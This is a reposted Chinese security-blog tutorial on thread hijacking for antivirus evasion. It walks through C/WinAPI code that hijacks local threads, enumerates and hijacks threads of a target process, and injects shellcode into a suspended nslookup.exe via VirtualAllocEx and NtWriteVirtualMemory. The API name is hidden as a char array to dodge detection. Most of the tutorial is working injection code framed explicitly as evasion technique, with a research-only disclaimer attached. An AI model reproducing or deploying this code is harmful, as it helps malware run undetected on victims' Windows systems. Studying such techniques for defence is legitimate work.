免杀基础-线程劫持

admin 2024年12月15日23:27:56评论6 views字数 4587阅读15分17秒阅读模式

线程劫持(Thread Hijacking)是指攻击者通过某种方式劫持线程的执行流从而执行shellcode的技术

线程劫持的核心思想是利用暂停目标线程、修改上下文来控制其执行流

线程上下文

在了解线程劫持之前 我们得先知道什么是线程上下文

线程上下文指的是一个线程在执行时所需的所有信息集合 包括线程的寄存器和堆栈

可以通过GetThreadContext来获取线程上下文

免杀基础-线程劫持
第二个参数要求指定ContextFlags

免杀基础-线程劫持
我们只需要获取寄存器 只要有 CONTEXT_CONTROL 就行

免杀基础-线程劫持

可以通过SetThreadContext来修改线程上下文

对于线程劫持 我们的流程如下

创建挂起线程 -> 获取上下文 -> 修改ip寄存器 -> 恢复线程

这里创建挂起的线程的意义在于

免杀基础-线程劫持

所以主线程也是不能劫持的

创建挂起线程

voidtest(){MessageBox(0,0,0,0);}

HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)&test, NULL, CREATE_SUSPENDED, NULL);

免杀基础-线程劫持

修改线程上下文并恢复线程

CONTEXTcontext;DWORDdwOldProtection=NULL;context.ContextFlags=CONTEXT_ALL;// 分配内存LPVOIDlpMem=VirtualAlloc(NULL,length,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);memcpy(lpMem,shellcode,length);VirtualProtect(lpMem,length,PAGE_EXECUTE_READWRITE,&dwOldProtection);// 获取上下文并修改RIPGetThreadContext(hThread,&context);context.Rip=(DWORD64)lpMem;SetThreadContext(hThread,&context);// 恢复线程ResumeThread(hThread);

这里使用calc的shellcode可能看不出来效果

因为主线程执行完就退出了

可以考虑用WaitForSingleObject阻塞主线程 再执行就弹计算器了

劫持现有线程

之前我们是创建了一个线程并劫持

现在我们考虑枚举系统的运行线程,然后进行劫持

通过CreateToolhelp32Snapshot进行线程的枚举

HANDLEhSnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,NULL);

获取到快照后遍历即可

THREADENTRY32te32={sizeof(THREADENTRY32)};if(Thread32First(hSnapShot,&te32)){do{wprintf(L"TID: %lun",te32.th32ThreadID);}while(Thread32Next(hSnapShot,&te32));}

现在获取的是所有的线程 而我们想要劫持指定进程的线程 只需要比对te32.th32OwnerProcessID与指定进程pid即可

免杀基础-线程劫持

在知道tid后 通过openThread获得线程句柄 之后的操作和之前类似

HANDLEhThread=OpenThread(THREAD_ALL_ACCESS,false,te32.th32ThreadID);SuspendThread(hThread);LPVOIDlpMem=VirtualAlloc(NULL,length,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);memcpy(lpMem,shellcode,length);VirtualProtect(lpMem,length,PAGE_EXECUTE_READWRITE,&dwOldProtection);GetThreadContext(hThread,&context);context.Rip=(DWORD64)lpMem;SetThreadContext(hThread,&context);ResumeThread(hThread);WaitForSingleObject(hThread,-1);

远程线程劫持

可以通过CreateRemoteThread实现 但是该api是比较敏感的 可以考虑用CreateProcess创建一个所有线程都挂起的进程

免杀基础-线程劫持
STARTUPINFOsi={sizeof(STARTUPINFO)};PROCESS_INFORMATIONpi;CreateProcess(NULL,_wcsdup(L"C:\Windows\System32\nslookup.exe"),NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);

指定dwCreationFlagsCREATE_SUSPENDED 挂起主线程 这里cmdline随便找一个

然后注入到远程进程中

通过VirtualAllocEx WriteProcessMemory进行注入

WriteProcessMemory是被标记的高危api 考虑使用NtWriteProcessMemory

typedefNTSTATUS(NTAPI*pNtWriteVirtualMemory)(INHANDLEProcessHandle,INPVOIDBaseAddress,INPVOIDBuffer,INULONGNumberOfBytesToWrite,OUTPULONGNumberOfBytesWrittenOPTIONAL);charstr1[]={'N','t','W','r','i','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y',''};pNtWriteVirtualMemoryNtWriteVirtualMemory=(pNtWriteVirtualMemory)GetProcAddress(LoadLibraryA("ntdll.dll"),str1);LPVOIDlpMem=VirtualAllocEx(pi.hProcess,NULL,sizeof(shellcode),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);NtWriteVirtualMemory(pi.hProcess,lpMem,shellcode,sizeof(shellcode),NULL);VirtualProtectEx(pi.hProcess,lpMem,sizeof(shellcode),PAGE_EXECUTE_READWRITE,&dwOldProtection);

之后就和本地线程劫持一样了

获取线程上下文修改IP寄存器

GetThreadContext(pi.hThread,&context);context.Rip=(DWORD64)lpMem;SetThreadContext(pi.hThread,&context);ResumeThread(pi.hThread);

远程线程枚举

通过CreateToolhelp32Snapshot进行枚举 拿到指定pid的tid

然后通过pid打开进程

voidremoteEnum(DWORDtargetPid){charstr1[]={'N','t','W','r','i','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y',''};pNtWriteVirtualMemoryNtWriteVirtualMemory=(pNtWriteVirtualMemory)GetProcAddress(LoadLibraryA("ntdll.dll"),str1);HANDLEhProcess=OpenProcess(PROCESS_ALL_ACCESS,false,targetPid);HANDLEhSnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,NULL);THREADENTRY32te32;te32.dwSize=sizeof(THREADENTRY32);CONTEXTcontext;context.ContextFlags=CONTEXT_ALL;DWORDdwOldProtection;if(Thread32First(hSnapShot,&te32)){do{if(te32.th32OwnerProcessID==targetPid){HANDLEhThread=OpenThread(THREAD_ALL_ACCESS,false,te32.th32ThreadID);if(hThread!=NULL){LPVOIDlpMem=VirtualAllocEx(hProcess,NULL,sizeof(shellcode),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);NtWriteVirtualMemory(hProcess,lpMem,shellcode,sizeof(shellcode),NULL);VirtualProtectEx(hProcess,lpMem,sizeof(shellcode),PAGE_EXECUTE_READWRITE,&dwOldProtection);SuspendThread(hThread);GetThreadContext(hThread,&context);context.Rip=(DWORD64)lpMem;SetThreadContext(hThread,&context);ResumeThread(hThread);WaitForSingleObject(hThread,-1);}}}while(Thread32Next(hSnapShot,&te32));}}

执行可能需要一些时间 因为劫持的不一定是主线程 并且不会持续运行

免杀基础-线程劫持
【作者】:Arcueid

【来源】:https://xz.aliyun.com/t/16645


原文始发于微信公众号(船山信安):免杀基础-线程劫持

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月15日23:27:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀基础-线程劫持https://cn-sec.com/archives/3509934.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息